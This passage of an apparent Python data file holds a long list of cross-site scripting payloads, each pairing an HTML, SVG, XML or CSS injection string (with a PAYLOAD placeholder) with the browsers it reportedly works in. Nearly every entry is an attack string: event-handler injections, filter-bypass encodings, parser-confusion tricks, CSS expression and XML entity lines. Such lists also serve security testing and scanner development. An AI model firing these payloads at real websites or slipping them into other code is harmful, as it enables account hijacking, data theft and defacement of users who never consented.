  250.  		{ 'payload':'''<style onReadyStateChange style onReadyStateChange="javascript:PAYLOAD"></style onReadyStateChange>''',
    251. 

  251.           'browser':"""[IE] [Chrome]"""},
    252. 

  252.  		{ 'payload':'''<frameset onFocus frameset onFocus="javascript:PAYLOAD"></frameset onFocus>''',
    253. 

  253.           'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [Opera] [Chrome]"""},
    254. 

  254.  		{ 'payload':'''<applet onError applet onError="javascript:PAYLOAD"></applet onError>''',
    255. 

  255.           'browser':"""[HTML5 Injection]"""},
    256. 

  256.        	{ 'payload':'''<marquee onStart marquee onStart="javascript:PAYLOAD"></marquee onStart>''',
    257. 

  257.           'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [Opera] [Chrome]"""},
    258. 

  258. 		{ 'payload':'''<script onLoad script onLoad="javascript:PAYLOAD"></script onLoad>''',
    259. 

  259.           'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [Opera] [Chrome]"""},
    260. 

  260. 		{ 'payload':'''<html onMouseOver html onMouseOver="javascript:PAYLOAD"></html onMouseOver>''',
    261. 

  261.           'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [Opera] [Chrome]"""},
    262. 

  262. 		{ 'payload':'''<html onMouseEnter html onMouseEnter="javascript:parent.PAYLOAD"></html onMouseEnter>''',
    263. 

  263.           'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [Opera] [Chrome]"""},
    264. 

  264. 		{ 'payload':'''<body onBeforeUnload body onBeforeUnload="javascript:PAYLOAD"></body onBeforeUnload>''',
    265. 

  265.           'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [Opera] [Chrome]"""},
    266. 

  266. 		{ 'payload':'''<html onMouseDown html onMouseDown="javascript:PAYLOAD"></html onMouseDown>''',
    267. 

  267.           'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [Opera] [Chrome]"""},
    268. 

  268. 		{ 'payload':'''<marquee onScroll marquee onScroll="javascript:PAYLOAD"></marquee onScroll>''',
    269. 

  269. 		  'browser':"""[Not Info]"""},
    270. 

  270. 		{ 'payload':'''<xml onPropertyChange xml onPropertyChange="javascript:PAYLOAD"></xml onPropertyChange>''',
    271. 

  271. 		  'browser':"""[Not Info]"""},
    272. 

  272. 		{ 'payload':'''<frameset onBlur frameset onBlur="javascript:PAYLOAD"></frameset onBlur>''',
    273. 

  273. 		  'browser':"""[Not Info]"""},
    274. 

  274. 		{ 'payload':'''<applet onReadyStateChange applet onReadyStateChange="javascript:PAYLOAD"></applet onReadyStateChange>''',
    275. 

  275. 		  'browser':"""[IE] [Chrome]"""},
    276. 

  276. 		{ 'payload':'''<svg onUnload svg onUnload="javascript:PAYLOAD"></svg onUnload>''',
    277. 

  277. 		  'browser':"""[Not Info]"""},
    278. 

  278. 		{ 'payload':'''<html onMouseOut html onMouseOut="javascript:PAYLOAD"></html onMouseOut>''',
    279. 

  279. 		  'browser':"""[Not Info]"""},
    280. 

  280. 		{ 'payload':'''<body onMouseMove body onMouseMove="javascript:PAYLOAD"></body onMouseMove>''',
    281. 

  281. 		  'browser':"""[Not Info]"""},
    282. 

  282. 		{ 'payload':'''<body onResize body onResize="javascript:PAYLOAD"></body onResize>''',
    283. 

  283. 		  'browser':"""[Not Info]"""},
    284. 

  284. 		{ 'payload':'''<object onError object onError="javascript:PAYLOAD"></object onError>''',
    285. 

  285. 		  'browser':"""[Not Info]"""},
    286. 

  286. 		{ 'payload':'''<body onPopState body onPopState="javascript:PAYLOAD"></body onPopState>''',
    287. 

  287. 		  'browser':"""[Not Info]"""},
    288. 

  288. 		{ 'payload':'''<html onMouseMove html onMouseMove="javascript:PAYLOAD"></html onMouseMove>''',
    289. 

  289. 		  'browser':"""[Not Info]"""},
    290. 

  290. 		{ 'payload':'''<applet onerror applet onerror="javascript:PAYLOAD"></applet onerror>''',
    291. 

  291. 		  'browser':"""[Not Info]"""},
    292. 

  292. 		{ 'payload':'''<body onkeyup body onkeyup="javascript:PAYLOAD"></body onkeyup>''',
    293. 

  293. 		  'browser':"""[Not Info]"""},
    294. 

  294. 		{ 'payload':'''<body onunload body onunload="javascript:PAYLOAD"></body onunload>''',
    295. 

  295. 		  'browser':"""[Not Info]"""},
    296. 

  296. 		{ 'payload':'''<iframe onload iframe onload="javascript:PAYLOAD"></iframe onload>''',
    297. 

  297. 		  'browser':"""[Not Info]"""},
    298. 

  298. 		{ 'payload':'''<body onload body onload="javascript:PAYLOAD"></body onload>''',
    299. 

  299. 		  'browser':"""[Not Info]"""},
    300. 

  300. 		{ 'payload':'''<html onmouseover html onmouseover="javascript:PAYLOAD"></html onmouseover>''',
    301. 

  301. 		  'browser':"""[Not Info]"""},
    302. 

  302. 		{ 'payload':'''<object onbeforeload object onbeforeload="javascript:PAYLOAD"></object onbeforeload>''',
    303. 

  303. 		  'browser':"""[Not Info]"""},
    304. 

  304. 		{ 'payload':'''<body onbeforeunload body onbeforeunload="javascript:PAYLOAD"></body onbeforeunload>''',
    305. 

  305. 		  'browser':"""[Not Info]"""},
    306. 

  306. 		{ 'payload':'''<body onfocus body onfocus="javascript:PAYLOAD"></body onfocus>''',
    307. 

  307. 		  'browser':"""[Not Info]"""},
    308. 

  308. 		{ 'payload':'''<body onkeydown body onkeydown="javascript:PAYLOAD"></body onkeydown>''',
    309. 

  309. 		  'browser':"""[Not Info]"""},
    310. 

  310. 		{ 'payload':'''<iframe onbeforeload iframe onbeforeload="javascript:PAYLOAD"></iframe onbeforeload>''',
    311. 

  311. 		  'browser':"""[Not Info]"""},
    312. 

  312. 		{ 'payload':'''<iframe src iframe src="javascript:PAYLOAD"></iframe src>''',
    313. 

  313. 		  'browser':"""[Not Info]"""},
    314. 

  314. 		{ 'payload':'''<svg onload svg onload="javascript:PAYLOAD"></svg onload>''',
    315. 

  315. 		  'browser':"""[Not Info]"""},
    316. 

  316. 		{ 'payload':'''<body onblur body onblur="javascript:PAYLOAD"></body onblur>''',
    317. 

  317. 		  'browser':"""[Not Info]"""},
    318. 

  318. 		{ 'payload':'''<form id="X" /><button form="X" formaction="javascript:PAYLOAD">X''',
    319. 

  319. 		  'browser':"""[HTML5 Injection]"""},
    320. 

  320. 		{ 'payload':'''<input onfocus=PAYLOAD autofocus>''',
    321. 

  321. 		  'browser':"""[Not Info]"""},
    322. 

  322. 		{ 'payload':'''<input onblur=PAYLOAD autofocus><input autofocus>''',
    323. 

  323. 		  'browser':"""[Not Info]"""},
    324. 

  324. 		{ 'payload':'''<video poster=javascript:PAYLOAD//''',
    325. 

  325. 		  'browser':"""[HTML5 Injection]"""},
    326. 

  326. 		{ 'payload':'''<body onscroll=PAYLOAD><br><br><br><br><br><br>...<br><br><br><br><br><br><br><br><br><br>...<br><br><br><br><br><br><br><br><br><br>...<br><br><br><br><br><br><br><br><br><br>...<br><br><br><br><br><br><br><br><br><br>...<br><br><br><br><input autofocus>''',
    327. 

  327. 		  'browser':"""[Not Info]"""},
    328. 

  328. 		{ 'payload':'''<form id=X onforminput=PAYLOAD><input></form><button form=X onformchange=PAYLOAD>X''',
    329. 

  329. 		  'browser':"""[HTML5 Injection]"""},
    330. 

  330. 		{ 'payload':'''<video><source onerror="javascript:PAYLOAD">''',
    331. 

  331. 		  'browser':"""[Opera10.5+] [Chrome]"""},
    332. 

  332. 		{ 'payload':'''<video onerror="javascript:PAYLOAD"><source>''',
    333. 

  333. 		  'browser':"""[FF3.5+]"""},
    334. 

  334. 		{ 'payload':'''<form><button formaction="javascript:PAYLOAD">X''',
    335. 

  335. 		  'browser':"""[HTML5 Injection]"""},
    336. 

  336. 		{ 'payload':'''<body oninput=PAYLOAD><input autofocus>''',
    337. 

  337. 		  'browser':"""[IE]"""},
    338. 

  338. 		{ 'payload':'''<math href="javascript:PAYLOAD">CLICKME</math>  <math> <maction actiontype="statusline#http://google.com" xlink:href="javascript:PAYLOAD">CLICKME</maction> </math>''',
    339. 

  339. 		  'browser':"""[FF]"""},
    340. 

  340. 		{ 'payload':'''<frameset onload=PAYLOAD>''',
    341. 

  341. 		  'browser':"""[Not Info]"""},
    342. 

  342. 		{ 'payload':'''<table background="javascript:PAYLOAD">''',
    343. 

  343. 		  'browser':"""[Opera8|Opera10.5+] [IE6.0]"""},
    344. 

  344. 		{ 'payload':'''<!--<img src="--><img src=x onerror=PAYLOAD//">''',
    345. 

  345. 		  'browser':"""[Not Info]"""},
    346. 

  346. 		{ 'payload':'''<comment><img src="</comment><img src=x onerror=PAYLOAD)//">''',
    347. 

  347. 		  'browser':"""[IE]"""},
    348. 

  348. 		{ 'payload':'''<![><img src="]><img src=x onerror=PAYLOAD//">''',
    349. 

  349. 		  'browser':"""[FF] [Opera]"""},
    350. 

  350. 		{ 'payload':'''<style><img src="</style><img src=x onerror=PAYLOAD//">''',
    351. 

  351. 		  'browser':"""[Not Info]"""},
    352. 

  352. 		{ 'payload':'''<li style=list-style:url() onerror=PAYLOAD> <div style=content:url(data:image/svg+xml,%%3Csvg/%%3E);visibility:hidden onload=PAYLOAD></div>''',
    353. 

  353. 		  'browser':"""[Opera10.5+]"""},
    354. 

  354. 		{ 'payload':'''<head><base href="javascript://"></head><body><a href="/. /,PAYLOAD//#">XXX</a></body>''',
    355. 

  355. 		  'browser':"""[Opera8|Opera10.5] [IE]"""},
    356. 

  356. 		{ 'payload':'''<SCRIPT FOR=document EVENT=onreadystatechange>PAYLOAD</SCRIPT>''',
    357. 

  357. 		  'browser':"""[Opera] [IE]"""},
    358. 

  358. 		{ 'payload':'''<OBJECT CLASSID="clsid:333C7BC4-460F-11D0-BC04-0080C7055A83"><PARAM NAME="DataURL" VALUE="javascript:alert(PAYLOAD)"></OBJECT>''',
    359. 

  359. 		  'browser':"""[IE9.0]"""},
    360. 

  360. 		{ 'payload':'''<b <script>alert(PAYLOAD)</script>0''',
    361. 

  361. 		  'browser':"""[Not Info]"""},
    362. 

  362. 		{ 'payload':'''<div id="div1"><input value="``onmouseover=PAYLOAD"></div> <div id="div2"></div><script>document.getElementById("div2").innerHTML = document.getElementById("div1").innerHTML;</script>''',
    363. 

  363. 		  'browser':"""[Not Info]"""},
    364. 

  364. 		{ 'payload':"""<x '='foo'><x foo='><img src=x onerror=PAYLOAD//'>""",
    365. 

  365. 		  'browser':"""[Not Info]"""},
    366. 

  366. 		{ 'payload':'''<div style=width:1px;filter:glow onfilterchange=PAYLOAD>x''',
    367. 

  367. 		  'browser':"""[IE]"""},
    368. 

  368. 		{ 'payload':"""<x '="foo"><x foo='><img src=x onerror=PAYLOAD//'>""",
    369. 

  369. 		  'browser':"""[IE6.0]"""},
    370. 

  370. 		{ 'payload':'''<? foo="><script>PAYLOAD</script>">''',
    371. 

  371. 		  'browser':"""[Not Info]"""},
    372. 

  372. 		{ 'payload':'''<! foo="><script>PAYLOAD</script>">''',
    373. 

  373. 		  'browser':"""[Not Info]"""},
    374. 

  374. 		{ 'payload':'''</ foo="><script>PAYLOAD</script>">''',
    375. 

  375. 		  'browser':"""[Not Info]"""},
    376. 

  376. 		{ 'payload':'''<? foo="><x foo="?><script>PAYLOAD</script>">">''',
    377. 

  377. 		  'browser':"""[Not Info]"""},
    378. 

  378. 		{ 'payload':'''<! foo="[[[Inception]]"><x foo="]foo><script>PAYLOAD</script>">''',
    379. 

  379. 		  'browser':"""[Not Info]"""},
    380. 

  380. 		{ 'payload':'''<% foo><x foo="%><script>PAYLOAD</script>">''',
    381. 

  381. 		  'browser':"""[Not Info]"""},
    382. 

  382. 		{ 'payload':'''<div id=d><x xmlns="><iframe onload=PAYLOAD"></div> <script>d.innerHTML=d.innerHTML</script>''',
    383. 

  383. 		  'browser':"""[IE]"""},
    384. 

  384. 		{ 'payload':'''<a href=java&#1&#2&#3&#4&#5&#6&#7&#8&#11&#12script:PAYLOAD>XXX</a>''',
    385. 

  385. 		  'browser':"""[Safari] [Chrome]"""},
    386. 

  386. 		{ 'payload':'''<img src="x` `<script>PAYLOAD</script>"` `>''',
    387. 

  387. 		  'browser':"""[IE]"""},
    388. 

  388. 		{ 'payload':'''<img src onerror /" '"= alt=PAYLOAD//">''',
    389. 

  389. 		  'browser':"""[Safari]"""},
    390. 

  390. 		{ 'payload':'''<title onpropertychange=PAYLOAD></title><title title=>''',
    391. 

  391. 		  'browser':"""[IE9.0]"""},
    392. 

  392. 		{ 'payload':'''<a href=http://foo.bar/#x=`y></a><img alt="`><img src=x:x onerror=PAYLOAD></a>">''',
    393. 

  393. 		  'browser':"""[IE]"""},
    394. 

  394. 		{ 'payload':'''<!--[if]><script>PAYLOAD</script -->''',
    395. 

  395. 		  'browser':"""[IE]"""},
    396. 

  396. 		{ 'payload':'''<!--[if<img src=x onerror=PAYLOAD//]> -->''',
    397. 

  397. 		  'browser':"""[IE]"""},
    398. 

  398. 		{ 'payload':'''<script src="/\PAYLOAD"></script>''',
    399. 

  399. 		  'browser':"""[Not Info]"""},
    400. 

  400. 		{ 'payload':'''<script src="\\PAYLOAD"></script>''',
    401. 

  401. 		  'browser':"""[Not Info]"""},
    402. 

  402. 		{ 'payload':"""<a style="-o-link:'javascript:PAYLOAD';-o-link-source:current">X""",
    403. 

  403. 		  'browser':"""[Opera]"""},
    404. 

  404. 		{ 'payload':"""<style>p[foo=bar{}*{-o-link:'javascript:PAYLOAD'}{}*{-o-link-source:current}]{color:red};</style>""",
    405. 

  405. 		  'browser':"""[Opera]"""},
    406. 

  406. 		{ 'payload':'''<link rel=stylesheet href=data:,*%7bx:expression(PAYLOAD)%7d''',
    407. 

  407. 		  'browser':"""[Not Info]"""},
    408. 

  408. 		{ 'payload':'''<style>@import "data:,*%7bx:expression(PAYLOAD)%7D";</style>''',
    409. 

  409. 		  'browser':"""[Not Info]"""},
    410. 

  410. 		{ 'payload':'''<a style="pointer-events:none;position:absolute;"><a style="position:absolute;" onclick="PAYLOAD;">XXX</a></a><a href="javascript:PAYLOAD">XXX</a>''',
    411. 

  411. 		  'browser':"""[Not Info]"""},
    412. 

  412. 		{ 'payload':'''<script>({set/**/$($){_/**/setter=$,_=PAYLOAD}}).$=eval</script>''',
    413. 

  413. 		  'browser':"""[FF]"""},
    414. 

  414. 		{ 'payload':'''<script>({0:#0=eval/#0#/#0#(PAYLOAD)})</script>''',
    415. 

  415. 		  'browser':"""[Not Info]"""},
    416. 

  416. 		{ 'payload':'''<script>ReferenceError.prototype.__defineGetter__('name', function(){PAYLOAD}),x</script>''',
    417. 

  417. 		  'browser':"""[Not Info]"""},
    418. 

  418. 		{ 'payload':'''<script>Object.__noSuchMethod__ = Function,[{}][0].constructor._('PAYLOAD')()</script>''',
    419. 

  419. 		  'browser':"""[Not Info]"""},
    420. 

  420. 		{ 'payload':'''<script src="#">{PAYLOAD}</script>;1''',
    421. 

  421. 		  'browser':"""[Not Info]"""},
    422. 

  422. 		{ 'payload':'''+ADw-html+AD4APA-body+AD4APA-div+AD4-top secret+ADw-/div+AD4APA-/body+AD4APA-/html+AD4-.toXMLString().match(/.*/m),PAYLOAD;''',
    423. 

  423. 		  'browser':"""[Not Info]"""},
    424. 

  424. 		{ 'payload':'''<b><script<b></b><PAYLOAD</script </b>''',
    425. 

  425. 		  'browser':"""[Not Info]"""},
    426. 

  426. 		{ 'payload':'''<script<{PAYLOAD}/></script </>''',
    427. 

  427. 		  'browser':"""[Not Info]"""},
    428. 

  428. 		{ 'payload':'''<script>crypto.generateCRMFRequest('CN=0',0,0,null,'PAYLOAD',384,null,'rsa-dual-use')</script>''',
    429. 

  429. 		  'browser':"""[FF]"""},
    430. 

  430. 		{ 'payload':'''<script>[{'a':Object.prototype.__defineSetter__('b',function(){eval(arguments[0])}),'b':['PAYLOAD']}]</script>''',
    431. 

  431. 		  'browser':"""[Not Info]"""},
    432. 

  432. 		{ 'payload':'''<svg xmlns="http://www.w3.org/2000/svg"><g onload="javascript:PAYLOAD"></g></svg>''',
    433. 

  433. 		  'browser':"""[Not Info]"""},
    434. 

  434. 		{ 'payload':'''<svg xmlns="http://www.w3.org/2000/svg"><script>PAYLOAD</script></svg>''',
    435. 

  435. 		  'browser':"""[Not Info]"""},
    436. 

  436. 		{ 'payload':'''<svg onload="javascript:PAYLOAD" xmlns="http://www.w3.org/2000/svg"></svg>''',
    437. 

  437. 		  'browser':"""[Not Info]"""},
    438. 

  438. 		{ 'payload':'''<svg xmlns="http://www.w3.org/2000/svg"> <a xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="javascript:PAYLOAD"><rect width="1000" height="1000" fill="white"/></a> </svg>''',
    439. 

  439. 		  'browser':"""[FF]"""},
    440. 

  440. 		{ 'payload':'''<?xml version="1.0" standalone="no"?> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <style type="text/css"> @font-face {font-family: y; src: url("PAYLOAD#x") format("svg");} body {font: 100px "y";} </style> </head> <body>X</body> </html>''',
    441. 

  441. 		  'browser':"""[Opera 10]"""},
    442. 

  442. 		{ 'payload':'''<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <animation xlink:href="javascript:PAYLOAD"/> <animation xlink:href="data:text/xml,%3Csvg xmlns='http://www.w3.org/2000/svg' onload='PAYLOAD'%3E%3C/svg%3E"/> <image xlink:href="data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' onload='alert(PAYLOAD)'%3E%3C/svg%3E"/> <foreignObject xlink:href="javascript:PAYLOAD"/> <foreignObject xlink:href="data:text/xml,%3Cscript xmlns='http://www.w3.org/1999/xhtml'%3EPAYLOAD%3C/script%3E"/> </svg>''',
    443. 

  443. 		  'browser':"""[Opera] [FF]"""},
    444. 

  444. 		{ 'payload':'''<svg xmlns="http://www.w3.org/2000/svg"> <set attributeName="onmouseover" to="PAYLOAD"/> <animate attributeName="onunload" to="PAYLOAD"/> </svg>''',
    445. 

  445. 		  'browser':"""[Not Info]"""},
    446. 

  446. 		{ 'payload':'''<svg xmlns="http://www.w3.org/2000/svg"> <handler xmlns:ev="http://www.w3.org/2001/xml-events" ev:event="load">PAYLOAD</handler> </svg>''',
    447. 

  447. 		  'browser':"""[Opera]"""},
    448. 

  448. 		{ 'payload':'''<svg xmlns="http://www.w3.org/2000/svg" id="foo"> <x xmlns="http://www.w3.org/2001/xml-events" event="load" observer="foo" handler="data:image/svg+xml,%3Csvg%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%0A%3Chandler%20xml%3Aid%3D%22bar%22%20type%3D%22application%2Fecmascript%22%3E PAYLOAD %3C%2Fhandler%3E%0A%3C%2Fsvg%3E%0A#bar"/> </svg>''',
    449. 

  449. 		  'browser':"""[Not Info]"""},
    450. 

  450. 		{ 'payload':'''<?xml version="1.0"?> <?xml-stylesheet type="text/xml" href="#stylesheet"?> <!DOCTYPE doc [ <!ATTLIST xsl:stylesheet id ID #REQUIRED>]> <svg xmlns="http://www.w3.org/2000/svg"> <xsl:stylesheet id="stylesheet" version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:template match="/"> <iframe xmlns="http://www.w3.org/1999/xhtml" src="javascript:PAYLOAD"></iframe> </xsl:template> </xsl:stylesheet> <circle fill="red" r="40"></circle> </svg>''',
    451. 

  451. 		  'browser':"""[Opera]"""},
    452. 

  452. 		{ 'payload':'''<svg xmlns="http://www.w3.org/2000/svg" id="x"> <listener event="load" handler="#y" xmlns="http://www.w3.org/2001/xml-events" observer="x"/> <handler id="y">PAYLOAD</handler> </svg>''',
    453. 

  453. 		  'browser':"""[Opera]"""},
    454. 

  454. 		{ 'payload':'''<svg><style>&ltimg/src=x onerror=PAYLOAD// </b>''',
    455. 

  455. 		  'browser':"""[FF]"""},
    456. 

  456. 		{ 'payload':'''<?xml-stylesheet type="text/xsl" href="#"?><img xmlns="x-schema:PAYLOAD"/>''',
    457. 

  457. 		  'browser':"""[IE]"""},
    458. 

  458. 		{ 'payload':'''<svg> <image style='filter:url("data:image/svg+xml,<svg xmlns=%22http://www.w3.org/2000/svg%22><script>parent.PAYLOAD</script></svg>")'></svg>''',
    459. 

  459. 		  'browser':"""[Opera]"""},
    460. 

  460. 		{ 'payload':'''<?xml-stylesheet href="javascript:PAYLOAD"?>''',
    461. 

  461. 		  'browser':"""[Opera]"""},
    462. 

  462. 		{ 'payload':'''<!DOCTYPE x[<!ENTITY x SYSTEM "PAYLOAD">]><y>&x;</y>''',
    463. 

  463. 		  'browser':"""[IE]"""},
    464. 

  464. 		{ 'payload':'''<?xml-stylesheet type="text/css"?><!DOCTYPE x SYSTEM "PAYLOAD"><x>&x;</x>''',
    465. 

  465. 		  'browser':"""[IE]"""},
    466. 

  466. 		{ 'payload':'''<?xml version="1.0"?> <?xml-stylesheet type="text/xsl" href="data:,%3Cxsl:transform version='1.0' xmlns:xsl='http://www.w3.org/1999/XSL/Transform' id='X'%3E%3Cxsl:output method='html'/%3E%3Cxsl:template match='/'%3E%3Cscript%3EPAYLOAD%3C/script%3E%3C/xsl:template%3E%3C/xsl:transform%3E"?> <root/>''',
    467. 

  467. 		  'browser':"""[Opera]"""},
    468. 

  468. 		{ 'payload':'''<!DOCTYPE x [ <!ATTLIST img xmlns CDATA "http://www.w3.org/1999/xhtml" src CDATA "x" onerror CDATA "PAYLOAD"> ]><img /><doc xmlns:xlink="http://www.w3.org/1999/xlink" xmlns:html="http://www.w3.org/1999/xhtml"> <html:style /><x xlink:href="javascript:PAYLOAD" xlink:type="simple">XXX</x> </doc>''',
    469. 

  469. 		  'browser':"""[Opera] [FF]"""},
    470. 

  470. 		{ 'payload':'''<card xmlns="http://www.wapforum.org/2001/wml"><onevent type="ontimer"><go href="javascript:PAYLOAD"/></onevent><timer value="1"/></card>''',
    471. 

  471. 		  'browser':"""[Opera]"""},
    472. 

  472. 		{ 'payload':'''<?xml-stylesheet type="text/css"?><root style="x:expression(PAYLOAD)"/>''',
    473. 

  473. 		  'browser':"""[IE]"""},
    474. 

  474. 		{ 'payload':'''<x xmlns:xlink="http://www.w3.org/1999/xlink" xlink:actuate="onLoad" xlink:href="javascript:PAYLOAD" xlink:type="simple"/>''',
    475. 

  475. 		  'browser':"""[FF]"""},
    476. 

  476. 		{ 'payload':'''<?xml-stylesheet type="text/css" href="data:,*%7bx:expression(PAYLOAD);%7d"?>''',
    477. 

  477. 		  'browser':"""[Not Info]"""},
    478. 

  478. 		{ 'payload':'''<x:template xmlns:x="http://www.wapforum.org/2001/wml" x:ontimer="$(x:unesc)j$(y:escape)a$(z:noecs)v$(x)a$(y)s$(z)cript$x:PAYLOAD"><x:timer value="1"/></x:template>''',
    479. 

  479. 		  'browser':"""[Not Info]"""},
    480. 

  480. 		{ 'payload':'''<x xmlns:ev="http://www.w3.org/2001/xml-events" ev:event="load" ev:handler="javascript:PAYLOAD//#x"/>''',
    481. 

  481. 		  'browser':"""[Opera]"""},
    482. 

  482. 		{ 'payload':'''<x xmlns:ev="http://www.w3.org/2001/xml-events" ev:event="load" ev:handler="PAYLOAD#x"/>''',
    483. 

  483. 		  'browser':"""[Opera]"""},
    484. 

  484. 		{ 'payload':'''X<x style=`behavior:url(#default#time2)` onbegin=`PAYLOAD` >''',
    485. 

  485. 		  'browser':"""[IE]"""},
    486. 

  486. 		{ 'payload':'''1<set/xmlns=`urn:schemas-microsoft-com:time` style=`beh&#x41vior:url(#default#time2)` attributename=`innerhtml` to=`&lt;img/src=&quot;x&quot;onerror=PAYLOAD&gt;`>''',
    487. 

  487. 		  'browser':"""[Not Info]"""},
    488. 

  488. 		{ 'payload':'''1<animate/xmlns=urn:schemas-microsoft-com:time style=behavior:url(#default#time2) attributename=innerhtml values=&lt;img/src=&quot;.&quot;onerror=PAYLOAD&gt;>''',
    489. 

  489. 		  'browser':"""[IE]"""},
    490. 

  490. 		{ 'payload':'''1<a href=#><line xmlns=urn:schemas-microsoft-com:vml style=behavior:url(#default#vml);position:absolute href=javascript:PAYLOAD strokecolor=white strokeweight=1000px from=0 to=1000 /></a>''',
    491. 

  491. 		  'browser':"""[IE]"""},
    492. 

  492. 		{ 'payload':'''<a style="behavior:url(#default#AnchorClick);" folder="javascript:PAYLOAD">XXX</a>''',
    493. 

  493. 		  'browser':"""[IE]"""},
    494. 

  494. 		{ 'payload':'''<event-source src="PAYLOAD" onload="PAYLOAD">''',
    495. 

  495. 		  'browser':"""[Opera]"""},
    496. 

  496. 		{ 'payload':'''<a href="javascript:PAYLOAD"><event-source src="data:application/x-dom-event-stream,Event:click%0Adata:XXX%0A%0A">''',
    497. 

  497. 		  'browser':"""[Opera]"""},
    498. 

  498. 		{ 'payload':'''<div id="x">x</div> <xml:namespace prefix="t"> <import namespace="t" implementation="#default#time2"> <t:set attributeName="innerHTML" targetElement="x" to="&lt;img&#11;src=x:x&#11;onerror&#11;=PAYLOAD&gt;">''',
    499. 

  499. 		  'browser':"""[IE]"""},
    500. 

  500. 		{ 'payload':'''<SCRIPT SRC=PAYLOAD?<B>''',
    501. 

  501. 		  'browser':"""[Not Info]"""},
    502. 

  502. 		{ 'payload':'''<BODY onload!#$%%&()*~+-_.,:;?@[/|\]^`=PAYLOAD>''',
    503. 

  503. 		  'browser':"""[Not Info]"""},
    504. 

  504. 		{ 'payload':'''<SCRIPT/SRC="PAYLOAD"></SCRIPT>''',
    505. 

  505. 		  'browser':"""[Not Info]"""},
    506. 

  506. 		{ 'payload':'''<iframe src=PAYLOAD <''',
    507. 

  507. 		  'browser':"""[Not Info]"""},
    508. 

  508. 		{ 'payload':'''<LAYER SRC="PAYLOAD"></LAYER>''',
    509. 

  509. 		  'browser':"""[Not Info]"""},
    510. 

  510. 		{ 'payload':'''<STYLE>li {list-style-image: url("javascript:PAYLOAD");}</STYLE><UL><LI>X''',
    511. 

  511. 		  'browser':"""[Not Info]"""},
    512. 

  512.    		{ 'payload':'''<META HTTP-EQUIV="Link" Content="<PAYLOAD>; REL=stylesheet">''',
    513. 

  513. 		  'browser':"""[Opera 8]"""},
    514. 

  514. 		{ 'payload':'''<STYLE type="text/css">BODY{background:url("javascript:PAYLOAD")}</STYLE>''',
    515. 

  515. 		  'browser':"""[Not Info]"""},
    516. 

  516. 		{ 'payload':'''<HTML xmlns:X><?import namespace="X" implementation="%(htc)s"><X:X>X</X:X></HTML>""","XML namespace."),("""<XML ID="X"><I><B>&lt;IMG SRC="javas<!-- -->cript:PAYLOAD"&gt;</B></I></XML><SPAN DATASRC="#X" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>''',
    517. 

  517. 		  'browser':"""[IE]"""},
    518. 

  518. 		{ 'payload':'''<HTML><BODY><?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"><?import namespace="t" implementation="#default#time2"><t:set attributeName="innerHTML" to="X&lt;SCRIPT DEFER&gt;PAYLOAD&lt;/SCRIPT&gt;"></BODY></HTML>''',
    519. 

  519. 		  'browser':"""[IE]"""},
    520. 

  520. 		{ 'payload':'''<P STYLE="behavior:url('#default#time2')" end="0" onEnd="PAYLOAD">''',
    521. 

  521. 		  'browser':"""[IE]"""},
    522. 

  522. 		{ 'payload':'''<STYLE>a{background:url('s1' 's2)}@import javascript:PAYLOAD;');}</STYLE>''',
    523. 

  523. 		  'browser':"""[Not Info]"""},
    524. 

  524. 		{ 'payload':'''<meta charset= "x-imap4-modified-utf7"&&>&&<script&&>PAYLOAD&&;&&<&&/script&&>''',
    525. 

  525. 		  'browser':"""[Not Info]"""},
    526. 

  526. 		{ 'payload':'''<SCRIPT onreadystatechange=javascript:PAYLOAD;></SCRIPT>''',
    527. 

  527. 		  'browser':"""[IE]"""},
    528. 

  528. 		{ 'payload':'''<style onreadystatechange=javascript:PAYLOAD;></style>''',
    529. 

  529. 		  'browser':"""[IE]"""},
    530. 

  530. 		{ 'payload':'''<?xml version="1.0"?><html:html xmlns:html='http://www.w3.org/1999/xhtml'><html:script>PAYLOAD;</html:script></html:html>''',
    531. 

  531. 		  'browser':"""[Not Info]"""},
    532. 

  532. 		{ 'payload':'''<embed code=javascript:PAYLOAD;></embed>''',
    533. 

  533. 		  'browser':"""[Not Info]"""},
    534. 

  534. 		{ 'payload':'''<frameset onload=javascript:PAYLOAD></frameset>''',
    535. 

  535. 		  'browser':"""[Not Info]"""},
    536. 

  536. 		{ 'payload':'''<object onerror=javascript:PAYLOAD>''',
    537. 

  537. 		  'browser':"""[Not Info]"""},
    538. 

  538. 		{ 'payload':'''<embed type="image" src=PAYLOAD></embed>''',
    539. 

  539. 		  'browser':"""[Not Info]"""},
    540. 

  540. 		{ 'payload':'''<a href="jav&#65ascript:PAYLOAD">X1</a>''',
    541. 

  541. 		  'browser':"""[Opera]"""},
    542. 

  542. 		{ 'payload':'''<a href="jav&#97ascript:PAYLOAD">X1</a>''',
    543. 

  543. 		  'browser':"""[Opera]"""},
    544. 

  544. 		{ 'payload':'''<embed width=500 height=500 code="data:text/html,<script>PAYLOAD</script>"></embed>''',
    545. 

  545. 		  'browser':"""[Not Info]"""},
    546. 

  546. 		{ 'payload':'''<iframe srcdoc="&LT;iframe&sol;srcdoc=&amp;lt;img&sol;src=&amp;apos;&amp;apos;onerror=PAYLOAD&amp;gt;>">''',
    547. 

  547. 		  'browser':"""[Not Info]"""},
    548. 

  548. 		{ 'payload':'''<script>if(document.createElement("td").cellIndex == 0){PAYLOAD}</script>''',
    549. 

  549. 		  'browser':"""[IE]"""},
    550. 

  550. 		{ 'payload':'''<script>v=document.createElement("td").cellIndexif( v == -1){PAYLOAD}</script>''',
    551. 

  551. 		  'browser':"""[IE]"""},
